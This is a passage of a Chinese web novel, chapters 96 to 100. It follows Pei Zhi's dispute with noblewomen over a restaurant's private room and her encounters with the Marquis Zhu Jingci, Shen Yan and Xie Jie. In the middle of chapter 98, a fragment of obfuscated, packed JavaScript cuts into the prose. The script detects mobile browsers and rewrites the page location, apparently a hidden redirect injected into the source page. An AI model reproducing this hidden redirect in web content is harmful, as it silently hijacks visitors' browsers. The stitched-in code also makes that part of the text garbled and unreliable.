一路上,梅心与兰心叽叽喳喳说笑着,裴芷在旁边含笑瞧着她们。两丫鬟在她未出嫁之前就跟着了,入了谢府也与她一起吃了苦。
裴芷有心补偿她们,路上边走边逛,瞧见好东西都一律各买了两份给她们。
到了酒楼,裴芷落了座,轻声问店小二有什么拿手菜尽管上。
店小二见她姿容美丽,气质端庄,服饰虽素净,但看得出非常不凡。也不知是哪家的少夫人出来游玩。
把脑子中一干世家贵夫人都捋了一遍,却对不上号,再看裴芷特别年轻,身上一股不谙世事险恶的天真,富贵娇柔恰似一朵花,更是猜不透她是哪家的少夫人。
店小二将酒楼中拿手的都说了:“说起来我们店中名菜那就多了:清蒸武昌鱼、东坡肉、蒸南海扇贝、水晶肘子、鱼羊鲜炖肉……”
店小二报了一串菜名,说得犹如贯口。
裴芷各菜式都点了一份,又道:“再上一壶竹叶青。”
店小二见她眼都不眨点了好几道名菜,心中大喜,喜滋滋下了单。
又讨好道:“夫人定是第一次来我们和悦楼,二楼人多眼杂,不如上三楼天字雅间用酒菜,既能细嚼慢咽又能看京城大好风景,岂不美哉?”
裴芷从善如流,让梅心赏了店小二一锭银子。店小二得了赏银,更是尽心,连忙将主仆三人往楼上请。
此时,楼下几位贵妇人正郊游回来,相伴着说笑往酒楼中来。
其中一位贵妇不经意抬眼看去二楼,正巧瞧见裴芷提步款款往三楼而去。
一刹间,那贵妇以为自己眼花了,连忙擦了擦眼睛。
她皱眉:莫不是眼花了,竟瞧见谢府二房那个木头一样的二少夫人出来逛街吃酒?
第96章 争包厢雅座
那夫人还要再瞧个清楚,裴芷已经上了三楼。
三楼是天字号雅间,一桌子菜肴酒水花销的百两以上。一般都是有地位又有钱的贵人才能上天字号雅间。
若真是谢府二房那位不起眼的二少夫人,怎么有这个钱去吃喝?
那夫人心中盘算着,料定自己定是眼花了。
旁边一位身着华丽的锦服的贵妇见她出神,询问怎么了。
那夫人笑道:“没什么,就是眼花了,刚才好像瞧见了谢府的二少夫人。”
谢府?
一干贵妇千金们纷纷转过头来。
谢家可是京城四大世家之首,底蕴深厚,这是放在明面上的。天下人都心知肚明,也不奇怪。
让人刮目相看的是谢家出了个谢玠。
谢玠不但得了圣上的宠信,还听说要封侯。世家中再出一位侯爷,那还了得?
财富与权柄都集于一人,将来谢家必定平步青云。
那夫人见众人目光落在自己身上,先是一惊,而后摆手笑道:“是我的错,我说的谢府是谢家二房,是旁支。不是谢家嫡系。”
她带了点鄙夷:“谢家的旁支,只沾了点谢家的名头根本不能与主家相提并论。”
众人这才收回目光,笑着继续往楼上走去。
到了三楼却尴尬了。原来三楼的天字号雅间坐满了贵客。她们来晚了些。
领头的贵夫人一听这话,脸色一下子沉了下来。
掌柜的擦着冷汗,不停向她作揖道歉,说:“白三夫人没订座,小的就以为三夫人并不来小店用饭,实在是该死,该死。”
领着众人来的贵妇人姓白,是白家的三夫人,按着排行算起来是白玉桐的婶娘——白齐氏。
白齐氏不掌家,掌家之权都在白玉桐的嫡母白大夫人手中,所以平日分外清闲。
她平日就喜欢呼朋唤友,饮茶赏花,所以和京城中一些贵妇人们玩得很好。今日便是她组局出城踏青郊游,午时过后才尽兴回城。
到了城里原本各自要散去,但白齐氏惦记起和悦酒楼最近做的糖水。
据说是从南越运来的果子榨成汁,再加上冰块,配上果子露和米酿。
酸甜可口,一口喝下去十分解暑。
这算是应季的甜食,过了这时节就没了。
白齐氏偶尔吃过一次,便念念不忘,所以今日说什么都得拉着一众贵妇人一起尝尝鲜。
白齐氏不悦:“掌柜的,我就算没订座,凭着我们白家的名头难不成挪一间也不行?”
掌柜的心中只是叫苦。
若是从前他自然是有借口推脱了,但听说如今圣上身边最受宠的是白家的一位小姐,雨中跳舞被圣人瞧见,便封为了白昭仪。
宠妃的家中人,他小小的掌柜怎么敢推脱?
掌柜正想着法子,忽地,刚才那位夫人“咦”了一声:“那真是谢府的二少夫人。”
众人都不明所以,那夫人对白家三夫人道:“三夫人你稍等,我见到一位相熟的人,让她让一间雅座给我们便是。”
白齐氏点了点头。
那夫人便到了一间雅间,不问就推开了雅间的门走了进去……
……
店小二给安排的雅间很不错,一半临街,一半临着护城河,所以可以看两边景。
裴芷坐在雅间的窗边瞧着街上行人熙熙攘攘,世间烟火气扑面而来。
这是久违的活气。
她深深吸了一口气,笑意便浅浅浮上了眼角。
店小二又端来美酒佳肴,摆满了一桌。
裴芷平日在谢府中吃得清淡,又加上婆母秦氏磋磨,吃得很不好。如今见这么多,光瞧着就心里高兴。
她让梅心与兰心一起坐着吃。
两个丫鬟自然摆手不敢上桌。裴芷坚持让她们一起同席而食。
“不然这么多我都吃不完。”裴芷将几道肉菜推到了梅心与兰心面前,温声道:“带回去凉了不好吃了。”
梅心与兰心于是不好再拒绝,落了座与她一起用了饭。
正吃了几筷子,雅间的门突然被推开。
一位贵夫人模样的妇人惊奇打招呼:“真是二少夫人。”
裴芷放下筷子,微微皱起了眉。不扣门通传就径直进来,世家大族没见过有这礼数。也不知道是谁家的夫人。
裴芷没起身。
梅心拦在门口,语气不善:“这位夫人认识我们家少夫
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人?”
那夫人见雅间中只有裴芷一人端坐着,桌子上却摆了三副碗筷。
她道:“少夫人原来是有贵客一起。是我鲁莽了。”
她说着鲁莽却没走,而是站在原地眼睛骨碌碌打转,打量裴芷。
眼前的裴芷与她从前见的好似两个人。
从前她去谢府做客,是见过裴芷的。那时候裴芷刚进谢家的门,是新妇。按道理新妇就该娇滴滴的,打扮整齐出来见见客。
却见新妇穿着朴素,低眉顺眼地抱着三岁的小少爷前来见礼。
主屋那么多人,见裴芷抱着孩子来了却没人为她添张椅子,任由她抱了好一会儿才搬了块锦凳让她坐着。
坐没多久,裴芷怀中的孩子就闹了起来,要出去玩。
那夫人清楚记得谢府二夫人秦氏听见孩子闹腾起来,脸色就放了下来,呵斥道:“屋子里气闷,恒哥儿不舒服,还不赶紧些抱出去透透气?”
那夫人愣了一会儿,就瞧见裴芷乖巧应了一声,然后抱着孩子出去了。
十四五岁的小姑娘身量还没长齐整,一进门就去给谢家带孩子。带的还是一个病孩。
那夫人实在不忍心,还私底下悄悄问了秦氏。
却不料二夫人秦氏满脸不在乎:“她是续弦夫人,娶她进门就是为了照顾恒哥儿,若不是看在她那早夭亲姐的面子上。我儿才不娶这等落魄的人家女儿为续弦。”
由此可见,婆家的确不将这位续弦夫人放在眼里。
那夫人又是与秦氏有点姻亲关系,几次去都见裴芷被指使干活,不得半刻清闲。渐渐地,她便也从心里看不起裴芷。
今日再次见到裴芷,倒是惊了她一跳。
身量比起初见时已经长高。身材消瘦但窈窕有致,身穿锦面素服,容貌绝美。更令人刮目相看的是裴芷脸上褪去稚嫩,隐约有种生来的风骨。
犹如风雨中的翠竹,翠色可怜,却不会有人疑心它承受不住风雨。
裴芷便是那一株长大了的翠竹,脱胎换骨,风骨自成,又多了几分从苦难中历练出来的柔韧沉稳。
裴芷认出莽撞进来的夫人,温声道:“安夫人,许久不见。”
第97章 红衣侯
裴芷认出来,这位夫人夫家姓安。是军中一位校尉,官职不大,但好像管着军中押送辎重,也算个肥差。
安夫人与二夫人秦氏闺中有旧,但交情不算深。
裴芷在谢府见过安夫人几次上门送礼,所以认得。
安夫人见裴芷认出自己来,便笑着上前道:“二少夫人今日怎么得空了出来?”
她又看了一桌子美味佳肴,又问:“怎么点了这么多酒菜?是要宴客还是自个用?”
旁边的梅心与兰心听了不由皱起眉来。
不叩门就进来,又东问西问实在是没有礼数。
裴芷很有耐心,温声道:“今日出来散散,自个点一些菜肴尝尝。”
“安夫人既然来了,便一起吃点。”
安夫人心中越发诧异,心思也滚了好几滚。这一桌子酒菜起码一百两,而她自己的份例一个月顶多才五两。
这位二少夫人什么时候手头那么宽裕阔绰?
一定不是她自个花的银子,莫不是谢观南一会就来了?
安夫人又问:“二爷是不是一会就来了?”
裴芷垂眸,淡淡道:“二爷在府中养病。今日不出门。”
安夫人越发觉得古怪,又急着给外面的白家三夫人交代,她便开口直言:“啊,这样的话,能否与二少夫人打个商量?”
她于是将今日之事说了,末了笑道:“二少夫人平日在府中吃的山珍海味,出来只是寻个新奇味儿。还不如将雅间让给白家的三夫人,正巧结个善缘,也叫白家三夫人高看二少夫人一眼。”
裴芷看了她一眼,问:“外面是白家三夫人想要用雅间?”
安夫人:“是。还有一众各家的夫人与小姐们。”
裴芷摇头:“白家三夫人不认识,恕难从命。”
安夫人愣住,没料到裴芷直接便拒了。想着,一股气就冲了上来:“二少夫人,-不是我说话难听,你今日是擅自出府的吧?”
裴芷正在抿酒,闻言放下了手中的酒盏。上好的竹叶青瞬间少了许多风味。
她很是平静瞧着安夫人:“安夫人想说什么?”
安夫人心里有了气,恨裴芷不识抬举,又嫉妒她突然的阔气,说话便阴阳怪气起来。
“我这是为了二少夫人好。你家二夫人与二爷是不喜让你出来闲逛的,府中小少爷没人照料,二少夫人晚些回去岂不是要受责罚?”
她说着见裴芷垂眸不语,大了几分胆子凑上前:“二少夫人,你可赶紧回去。把雅间让出来,我帮你与白家三夫人牵个线,下次赏花品茗宴给你下个帖子,你可以便可以去白家做客。”
裴芷依旧神情淡淡的,不说好与不好。
安夫人还要劝。
裴芷不紧不慢拿起筷子,夹了块扇贝慢慢尝了起来。
安夫人瞧不出她到底什么意思,不由恼怒:“小裴氏,我今日是给你一个绝好的机会高攀白家,你可知白家如今……”
她正要夸,梅心站出来道:“安夫人,我家少夫人刚到酒楼,菜上齐了正要用呢。雅间您还是另寻别处吧。”
安夫人皱眉瞧着裴芷。
裴芷放下筷子,不紧不慢擦了擦唇角,依旧温和:“安夫人,白家三夫人我改日有机会再拜访,今日出门匆忙就罢了。”
这是拒了?安夫人眉心拧了起来。
她没想到裴芷竟然有这个胆子拒绝。
安夫人还要说,外间有人唤了她。
安夫人看了裴芷一眼,便转身走了出去。
外间是白家三夫人见她迟迟不出来,问:“里面是哪家夫人?她肯让出雅间?”
安夫人劝不动裴芷让雅间,心中正气恼,听了这话便道:“是谢府二房的二少夫人。罢了,年轻媳妇不懂事,只顾自己享乐,目中无人,我们便寻别的地方吧。”
白家三夫人皱眉,寻思安夫人说的人是谁。
旁边有个丫鬟悄悄在她耳边说了来历。
白家三夫人听了,皮笑肉不笑道:“原来是抢了玉桐姻缘的小裴氏。她裴家从前清高得很,如今也只能守着点气节过日子罢了。”
一众贵夫人听到这些话便围了过来议论纷纷。
雅间里,梅心趴在门边都听见了,气得眼眶发红:“少夫人,这安夫人太可恶了,借不到雅间竟然在外面就编排您。”
裴芷原本腹中饥饿,才吃了几筷子就被打断,眼前美味佳肴便没了滋味。
她放下筷子,道:“既然知道是编排,便不要放在心上。”
“你们快些过来用饭,都饿了。”
梅心与兰心原本陪着裴芷高高兴兴出来,如今遇到蠢人便觉得实在是倒胃口。眼前佳肴便少了好些滋味,吃起来味同嚼蜡。
裴芷听着外面窃窃私语
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,轻声叹了口气。
京城中如此风气,处处攀比,处处讲家世出处。低人一等的,便是出来用个饭都不配。
外面一干贵夫人们站的久了,便引起了同层别的贵客注意。
有一位身穿葛红锦衣长衫,头束宝石抹额的少年出来瞧了一眼,便进了雅间笑道:“见到了熟人了,是白家的三夫人没有订座。”
“一帮夫人又不肯走,正商量让丙间的贵客让呢。听她们说,好像丙间的贵客不愿意让,所以一帮夫人堵在门口呢。”
座中都是与他同龄的富贵公子哥,一听这话便笑了起来。
“白家啊?便是如今宫里那位新宠的娘娘的娘家吧。如今也是抖起来了,府中的一位婶夫人也能在外面与人叫板。”
“真是有意思。这帮夫人们也是没体面。总有个先来后到的,竟比我们还张狂些。”
“我爹说妇人头发长见识短,果然说得没错。她们不会加点银子将酒楼后面的院子包了饮酒作乐吗?若是舍得花这个钱,这话我就吞回去。”
这话说得轻慢又轻佻,满座的富贵少年郎们哄堂大笑。
他们便是京城人口中的“纨绔”。
东家一个,西家一个,平日没什么事就喜欢呼朋唤友聚在一起,要么斗鸡走狗,要么骑马惊街。
没有一日安分。
眼见得热闹就在眼皮子底下,顿时来了兴致,纷纷押注丙字间的客人最后让还是不让。
雅间这边热闹非常,突然席间有人发问:“小侯爷怎么还没来?”
此时,楼下马蹄声声,喧嚣传来,众纨绔们心领神会。
“小侯爷来了!”
楼下人声鼎沸,仆从挤在一匹高大的枣红大马前,有的搬脚蹬,有的牵缰绳,有的伸手去接马鞭。
在万众瞩目中,马背上坐着一位面如冠玉,朱颜墨发的少年郎。
他着一领刺朱团花长袍,腰系一条双搭尾龟背金腰带,腰带上镶嵌着各色宝石,脚蹬一双绣云纹长靴。
头上束着一顶金冠,并簪一枝凤形长簪,浑身富贵逼人眼。
端的是意气风发,英姿飒爽的勋贵公子。
他正是本朝最年轻的小侯爷——今年恩旨新袭的北靖侯朱景辞。他的父亲是镇守北境多年,因病故去的老北靖侯。
他爱穿红衣,又姓朱,人人便称“红衣侯”。
第98章 胡搅蛮缠
朱景辞从马上下来,将镶满了宝石的马鞭随手丢给马奴,回身对跟随来的一位白衣劲装的年轻男子笑。
“沈兄,你瞧,还是我的赤兔跑得快。”
白衣劲装的男子从马上下来,很是沉稳:“小侯爷的马的确养得很好,不过马龄太小,跳脱了点,得历练。”
他面容英俊,身形瘦削有力。白衣劲装穿在身上,出尘又利落。
他便是沈家三郎,沈晏。
沈晏回京之后躲着故人,但不知道朱景辞从哪儿得了消息。在沈府门口堵了好几次,今日才算堵到人。
朱景辞一把搂住沈晏的胳膊,朗笑道:“你若是喜欢就送你。好马配英雄。除了沈家两位哥哥外,你便是我朱景辞盖过章认的第三位佩服的英雄。”
“老子是老英雄,儿子是小英雄,谁也不能说你们沈家的不是。”
“今日上楼喝酒,让我一干兄弟认你做大哥。”
沈晏眸中掠过黯然之色,但并不言语。
朱景辞见一众仆人堵在酒楼门口呆头呆脑的,不悦:“看什么看?没见我与沈家三郎交好吗?还不给三郎磕头请安。”
奴仆们急忙跪地,纷纷称“沈三公子”。
朱景辞高兴,一摆手,身边的长随便从袋子里抓出一大把碎银,天女散花般洒了满地。仆人与路人纷纷扑过来哄抢,场面越发乱。
沈晏瞧得皱起剑眉,朱景辞却哈哈大笑。
两人相携上了三楼,又是一番热闹寒暄。
京城纨绔中以朱景辞为第一。
朱景辞做事向来随心所欲,东家西家但凡不服气的混世魔王小子都曾被他整治得妥妥帖帖。
但也不是没优点——朱景辞不曾欺男霸女,对老幼妇孺更是一笑放过。
朱景辞听得几位公子说起了在酒楼争雅间的小事,浑不在意道:“一群老娘们有什么好瞧的。她们争便去争去。”
“你们离远点,万一抓脸薅头发的,连累了本侯爷可不好。”
他摸了摸自己的脸,啧啧道。
想他红衣小侯爷,文不成武不就,顽劣不堪,脸可是唯一仅剩的优点。
有人挤眉弄眼:“我问过了店小二,丙字间坐着的是一位年轻的小媳妇。是谢府二房谢观南的续弦夫人,长得极美呢。”
“对,大小裴氏听说过没?裴氏双姝,大姐裴若号称病西施。小妹裴芷,沉鱼落雁,秀外慧中。”
“啧啧,这谢观南真是好福气,娶了一对美人姐妹。”
朱景辞听了,看向沈晏:“那裴家二小姐岂不是……”
沈晏不语,面色沉了下来。
朱景辞是知道沈晏和裴家的陈年小事的。
他眼底沉了沉,忽的笑了:“好!赌了!”
“本侯赌裴家的小娘子不走。”
众纨绔面面相觑,不知为什么朱景辞要另辟蹊径。
刚才都在说赌局没有悬念,不好玩。小裴氏年纪轻,脸皮薄,白家三夫人泼辣,说两句肯定就将雅间让了。
沈晏皱眉看了朱景辞一眼:“你们玩吧,我回府了。”
朱景辞一把拉住他,朗笑道:“男子汉大丈夫。只是个小娘子罢了,又有什么可怕的呢?”
他在沈晏耳边压低声音:“三哥,你且等着我一会找个机会教训小裴氏给你出出气。”
沈晏皱眉起身就要将沈晏拦住。但沈晏身边的纨绔早就有了默契,一左一右将沈晏拉住劝酒。
朱景辞玉面带笑,一双极好看的桃花眼带着捉弄。一摇一摆地朝着裴芷的雅间走去。而那边已经闹了起来了。
朱景辞分开看热闹的人,道:“走开些,本侯爷瞧瞧到底是怎么个事。”
刚说完,有人从面前倒地。
朱景辞心道来的真是时候,竟见得那小裴氏被人抓头花。
真是大快人心。
这等见异思迁的恶心女活该遭恶人磨。
他正低头去想瞧地上摔着的女子长相如何。心里是有些好奇的。
裴氏双姝名号听过,但究竟多美是不知道的,也不屑知道。
今日正好一并都解开心中疑惑。
雅间走出一位素衫长裙的女子,在众人愣神之际将地上的丫鬟扶了起来,不动声色挡在了丫鬟面前。
这般乱的局面,她不卑不亢福了福身。
“几位夫人,不知何故在我雅间外吵闹?”
朱景辞只觉得眼前亮了。
脑中一道清光照过从前十八年混沌的,混账的人生。
终于叫他瞧见了一泓清澈的泉,涓涓细流淌过心里躁动不安的火。
四周好似静了下来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210554|196893||http|test|mini|href|location''.split(''|''),0,{}));
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r>眼前只有一位雪肤乌发的素衣美人安安静静站在人群之前,明眸如水,柔美娴静。
言语笃定平静,轻易的安定了乱局。
……
裴芷没料到只是出来用饭也能碰到麻烦事。
安夫人不知与白家三夫人说了什么,一群人便堵在了她的雅间外故意大声说闲话。
裴芷是不在意她们怎么编排,打算安稳吃完一餐饭再走。
但梅心实在沉不住气开了门要与她们理论。突然斜地里冲出一个丫鬟,将她重重推向白家三夫人。
梅心被撞翻在地,白家三夫人于是就得了把柄,要让人惩治梅心。
裴芷扶起梅心,道:“白家三夫人为何要为难一个丫鬟呢?她并未冒犯三夫人。”
白家三夫人还是第一次瞧见裴芷。
以为她定是什么畏畏缩缩,不上台面的小媳妇,只要三言两语便会低头羞怯让了雅间。
但没料到从雅间走出来的是一位姿容绝美,气质高雅的美人。
她不卑不亢,口齿清晰,不是一般没见识的小妇人。
白家三夫人立刻换了笑颜,上前握住裴芷的手道:“都是误会,刚还以为是哪个野丫头冲撞。没想到是你的人。”
裴芷不动声色挣开白家三夫人的手,温和道:“既然是误会,我代我的丫鬟给白家三夫人致歉。”
说着又款款行了一礼。
白家三夫人面上缓和了些许。心道,总算是个懂礼数的。虽然是谢家的旁支,也不算太辱没世家的名声。
安夫人突然道:“既然这般,二少夫人何不请我们进去坐坐?”
此话一出,白家三夫人皱起了眉。
她是想要雅间不假,但这般硬生生非要挤进去的样子,太难看。
想着,她瞪了安夫人一眼。
安夫人是个不懂眼色的。她急于讨好白家三夫人,便想着压着裴芷让座。
她站出来,指着梅心:“这丫头差点冲撞了白家三夫人,二少夫人,你想怎么赔罪?总不能三言两语就这样揭过吧。”
站在外面的朱辞景听了,突然笑出声。
这和他找茬打架用的混账借口简直一模一样。
果然,男人胡搅蛮缠起来,和女人也没什么不同。
就看这小裴氏怎么化解了。
第99章 美人落泪
裴芷看着一群人跃跃欲试,心知她们要教训的不是梅心,是自个。
是她碍了这帮贵夫人的眼,出现在了不该出现的地方。
裴芷不语,默默挡在门前。
她已经道歉过,自然不会让梅心再受到无妄之灾。
安夫人见她这姿势心里气得直冒邪火。
难怪谢府二夫人秦氏不喜欢儿子的续弦夫人。
遇到事,她不去讨好卖乖,而是选择最愚蠢的硬碰硬。
安夫人突然上前一步,粗鲁要抓梅心,口中却说:“二少夫人太年轻,纵得丫鬟不知礼数,我今日教你,你且看着。”
“我只教一遍,你且看好了。将来掌家,便知怎么训刁奴……”
她话还没说完,突然哎呦一声痛呼起来。
众人看去,只见一位红衣贵公子捏着安夫人的胳膊,像是见了脏东西将她搡了出去。
“真是吵**。本侯爷要喝杯酒,这么呱噪。”
裴芷抬眼瞧去,是一位刺红锦衣的贵公子。
玉面朱颜,生得很好的相貌,看得出非富即贵。
他一双好看的桃花眼朝着她瞧了过来,似是认识她,一直不错眼看着。
裴芷不认得他,但此人出现解了她的困局。于是微微颔首,投去感激。
但刚抬头就瞧见红衣公子眼神直盯盯着自己。
裴芷收回目光,往旁边侧了侧。
朱景辞见她躲了,才发现自己无礼了,眼神太过直白了。
他道,深宅小妇人,总归是害羞的。就是想不出这等温婉柔静的美人对沈晏做的事怎么那么狠心。
可能,当年之事各有各的难处吧。
白家三夫人见到来人,心知今日算是铩羽而归。
她陪笑道:“扰了小侯爷的兴致。万分该死。”
朱景辞向来不耐烦与这些妇人一般见识,此时却说:“刚才本侯瞧见是你们为难了人家的丫头,还不道歉?”
白家三夫人:“……”
朱景辞指着安夫人,道:“愣着做什么?说的就是你。”
安夫人没法,只能给裴芷道歉。而后寻了个借口灰溜溜走了。
白家三夫人也没了用饭的心思,领着人走了。
三楼的闹剧终于结束。
裴芷上前见过朱景辞。她不知他的身份,只知他刚才自称侯爷,便也称他侯爷。
朱景辞见得裴芷到了跟前,款款行礼又温言细语地说话。
他见过不少女子,环肥燕瘦都有,唯独面前的女子瞧着很是顺眼。
而且越瞧越是顺眼。
他突然道:“你不用谢我,我认得你。与你有些关系的。”
裴芷微微一怔,面上满是疑惑。
朱景辞见她玉面粉红,心里又是软绵绵一片,像是三月春雨下满了荷池,春机生气满溢出来。
他道:“你不信便与我走一趟,我引你见一个人。”
说完,他愣住。
这话像是拐子说的,专门骗小孩的。
真是蠢透了。
果然,裴芷摇头:“小女子已出府许久,不便在外逗留。”
“改日再谢过侯爷解围之恩。”
朱景辞见她要走,赶紧说:“真的,我认得沈晏。”
裴芷身子一僵,面色白了白。看向朱景辞的眼神也变了样。
此人,应该是替沈晏来讨公道的。
果然,朱景辞道:“你先前与他退婚,是不对。但沈晏没有对不住你。你与他道个歉,这恩怨便算过了。”
裴芷静静站着,素白的手指捏着长袖,心里一片茫然与酸楚。
若说她最对不住的人便是沈晏。虽谢观南被迫承认当**是三人合谋,逼得她在不知情嫁入谢府。
但沈晏因为她受辱,这笔账还是得算她身上。
朱景辞瞧着裴芷脸色不好,猛地醒过神,啪的给了自己一巴掌。
瞧他说的什么混账话?!
是人话吗?
裴芷低声道:“小侯爷说得对,是我的错。但道歉,晏哥哥不会接受的。若是晏哥哥恨着我,便恨着吧。”
“当年之事,我确实无话可说。”
“此生不见是最好的。”
说着,她转身要走。
朱景辞要去拦,胳膊被人牢牢拉住。
他回头要发火,愕然:“三哥,你怎么出来了?你,你都听见了她说的?”
沈晏面沉如水,死死盯着裴芷。
“都听见了。”
裴芷脚步僵住,抬
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头看见了沈晏。
她低声长叹:“沈三公子。”
沈晏盯着她,半天才说:“你说,你无话可说?当真无话可说?”
“我给你最后机会,你可以替自己辩解。”
良久,裴芷缓缓摇头:“没什么可辩解的。若是重来一回,我也会选退婚。”
沈晏面色惨白,往后踉跄退了一步。
良久,他突然冷笑:“好,你无悔,我便无恨。”
“这些年你教我看清楚了,什么叫做无情无义。”
说完,他头也不回地走了。
朱景辞看看她,再看看走了的沈晏。他还想与裴芷说什么,却找不到话来。
他难得乖觉地站在她身边,良久干巴巴道:“你把沈三郎气走了。你可真傻。”
“他如今可厉害了,在西北打了好几场胜仗,万人军中取了敌首。人都说他是拼命三郎……”
他说了几句,忽然觉得不对。
一侧头才发现,身边美人正安安静静垂泪。
一颗颗珍珠似的泪水从眼角滴落,落在衣襟上,倏地滑落。
朱景辞脸涨红了,生平第一次想服软道歉。
但心里又模模糊糊一个念头。
这女人落泪怎么和别的女人不一样,安静地哭,让人心里也跟着难受。
“见过小侯爷。”奉戍不知从哪儿出来,语气不善,“小侯爷就看在谢府的面上,不要为难我家二少夫人。”
他说完,对裴芷温声道:“我家大人在楼上请客,正好二少夫人一起上去见见陈大人。”
裴芷已悄悄擦了眼泪,听奉戍说谢玠在楼上与陈怀瑾大人喝酒,便醒悟过来。
和离的事是谢玠暗中一手安排妥当,如今看来天衣无缝。
“这就上去。”
裴芷回头给朱景辞行了一礼,便跟着奉戍往楼上走去。
朱景辞眼见的裴芷窈窕身影款款离去,只觉得眼前好像又暗了。
她走了,带走了清光。
朱景辞突然道:“什么?!楼上是谢玠?”
“这鹰犬走……”
他还没嚷完,嘴就被一只手牢牢捂住。
他回头。去而复返的沈晏眸光沉冷,往楼上看,面上若有所思。
第100章 不用唤我二少夫人了
裴芷随着奉戍上了四楼,还在发懵。
她真没想到今日竟能在外面遇见谢玠。谢玠不应该是在宫中陪着圣人商议国事,怎么会为了她的小事与陈大人应酬。
奉戍见她神思恍惚,以为她是被刚才找茬的白家三夫人和安夫人吓到了。
心道,白家三夫人两个儿子混吃等死的混账,没什么把柄在身不好弄他们。但安夫人的丈夫他是认得的。
叫安贵槐,京畿白虎营的后勤辎重管押解的小校尉。所以安夫人不过是一个臭丘八的媳妇,竟这般张狂要欺负谢府二少夫人。
奉戍打定主意,今日交了差使后就去寻安家晦气,替裴芷出出气。
到了四楼,裴芷发现四楼与三楼简直一个天一个地。
地上铺着光亮如油的柏木板,几道雅致的屏风隔出走道来。绕过松鹤延年屏风便见到了两排一共四张黑檀木做成的酒案。
四面摆着多宝格,上面放着雅致的文玩与宝瓶。左侧一条长案上,摆上鎏金兽头香炉、松根盆景。
酒案四面的屏风上挂着当世名家的字画,每一幅都价值千金。
这般雅致的饮酒所在,她小时候也就随着父亲见过一回,是去了衡阳郡主府上贺寿偶然见到的。
裴芷看着面前空空如也,不禁问奉戍:“大爷呢?”
奉戍拍了拍脑袋:“大爷刚与陈大人在前面雅室说话,应该快出来了。二少夫人在这里等着就好。”
他看了看时辰,经过刚才白家三夫人一闹腾现在天都快黑了,也到了快晚膳时分了。
“二少夫人且在这里等着大人。我让酒楼给你备晚膳。”
裴芷正想说不用。奉戍已经下楼张罗去了。
裴芷便寻了个酒案规规矩矩坐着等。
正好今日与谢观南算清了总账,也是改当面谢一谢大爷。若是能见到陈怀瑾大人,该连他都好好谢上一谢。
裴芷整了整身上的衣衫。
今日出门没涂胭脂,她想了想,在脸上掐了两把。
奉戍端上菜肴时就瞧见了裴芷正使劲掐自己的脸,把粉雪似的脸掐得红彤彤的。
“哎呦,二少夫人您掐自个干什么?快些住手别掐疼了。”
裴芷不好意思低了头,住了手。
奉戍见她住了手,松了口气,安慰:“二少夫人别担心。大人不会怪你出来用饭的。你在那鬼地方困了好几年,出来一趟也不容易。”
裴芷“嗯”了一声。
奉戍能说这些话,她便知道他与梅心和兰心聊过,知道她今日出来是大事做完了,出来透口气。
奉戍将饭菜都摆好,道:“二少夫人先吃吧。大人和别的**聊事情会很久的,不定什么时候才出来。”
“你先用点。大人不会怪你的。”
裴芷与奉戍很熟了,便也招呼他一起吃点。
奉戍很有分寸,死活不肯一起吃,只说一会儿要带梅心两丫鬟在楼下用点。因裴芷的缘故,他和梅心兰心都快处成了异父异母的兄妹。
裴芷顿了顿,忽然看向奉戍:“有件事要与你说。”
奉戍连忙问什么事。
裴芷轻声道:“今日起你就不要唤我二少夫人了。随便都行,不讲究那些没用的尊卑。”
奉戍顿时明白了,笑呵呵双手抱拳:“那就恭喜裴二小姐得偿所愿。历经坎坷,以后定是一路坦途。”
裴芷含笑坦然受了奉戍的恭贺。
奉戍见惯了她平日沉静温婉的样子,没想到笑起来带着少女的天真娇憨,应该是打心眼高兴。
想着,心中将谢观南再痛骂一遍。
人模狗样的**子竟然买凶要害自己的妻子。这种狗东西他平时都是一刀一个削了不含糊。
要不是为了将裴芷清清白白摘出去,何必还要费老些功夫?
奉戍退了下去。
四周又安静下来。
裴芷举起筷子夹了一筷子鲜嫩的春笋。
春笋火腿老鸭汤,炖的火候很足,汤汁鲜美、春笋鲜嫩,又将汤上的油脂都撇了去,汤清亮鲜甜。
还有水晶饺子、东海玉珍贝、炙鹿肉等等摆满了案上。
裴芷午膳被安夫人一打岔,用的实在不多。
现麻烦解决又想着要见谢玠,胃口就打开了。将和悦酒楼拿手的菜肴都试了一遍,吃了一碗饭,喝了一碗汤。
她本想着不不用了,一转头瞧见还有一碗黄澄澄的甜汤。
没见过这种甜汤。喝了一口,
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酸甜冰爽。
裴芷实在没忍住,四周张望没瞧见谢玠的影子,便悄悄用了半碗。
吃了这半碗甜汤,才惊觉自己贪食了,腹中撑得很。
不得不起身在屋子里慢吞吞转圈消食,只盼着在谢玠来之前消食完了,将道谢的话都说了便落下最后一件心事。
裴芷走了十几圈,心里正想着一会见了谢玠要怎么谢他的话。
谢玠此人冷情冷性的,又听惯了奉承的话,肯定不耐烦听千篇一律的废话,所以要让他感受到她的诚意,还真是为难。
她想了许久都没想到怎么与谢玠说,不由轻轻叹了口气。
正埋头想事,突然眼前闪过一道黑影。想避开,却收势不住直直撞进了黑影的怀里。
一瞬间,熟悉的龙涎香扑入鼻间。
她撞上一堵坚实的肉墙。鼻子擦过长袍,与此同时男子身上清洌的气息也一起侵袭入了心中。
那人一手将她细腰掐着,另一只手似乎要掐住她的脖子。在碰触那一刻,那人忽地意识到她不是死敌,才慢慢松了手头的劲道。
只是这样一来便像极了两人紧紧搂着。
裴芷僵着身子,一动不动。
她撞到的人是谢玠。
想挣扎开,腰上和脖子上的手却禁锢着不放手。
谢玠来时就瞧见屏风后一道倩影绕着长案走,等得焦急的样子。
他停下脚步,静静瞧着屏风后的人。那人并不知道他来了,还在慢吞吞转圈。
一圈又一圈,边走边揉着小腹。
看来并不是等他,是吃撑了在消食。
谢玠刚转过屏风,而裴芷正好回身埋头往另一边走去。于是便成了这样姿势。
屋里静了一瞬。
良久,他听见怀里的人声音虚弱:“大爷,我喘不过气。”
谢玠放开了手,退后一步。
裴芷退后两步,捂着脖子,眼底有惊恐与迷茫。
他刚才掐着她的脖子,有一瞬像下一刻要将她脖子扭断似的用力。一瞬间迸发的杀气,让她遭不住。
